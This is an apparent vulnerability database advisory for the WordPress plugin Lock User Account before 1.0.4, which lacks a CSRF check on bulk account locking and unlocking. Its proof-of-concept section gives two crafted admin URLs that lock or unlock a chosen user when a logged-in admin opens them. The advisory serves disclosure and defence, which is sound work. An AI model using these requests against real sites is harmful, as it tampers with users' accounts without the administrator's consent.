WordPress Plugin Vulnerabilities
Lock User Account < 1.0.4 - Arbitrary Account Lock/Unlock via CSRF
Description
The plugin does not have CSRF check when bulk locking and unlocking accounts, which could allow attackers to make logged in admins lock and unlock arbitrary users via a CSRF attack
Proof of Concept
Make a logged in admin open one of the links below, this will make them lock/unlock the user with ID 5 https://example.com/wp-admin/users.php?action=lock&action2=lock&users%5B0%5D=5 https://example.com/wp-admin/users.php?action=unlock&action2=unlock&users%5B0%5D=5
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-08-21 (about 8 months ago)
Added
2023-08-21 (about 8 months ago)
Last Updated
2024-01-26 (about 3 months ago)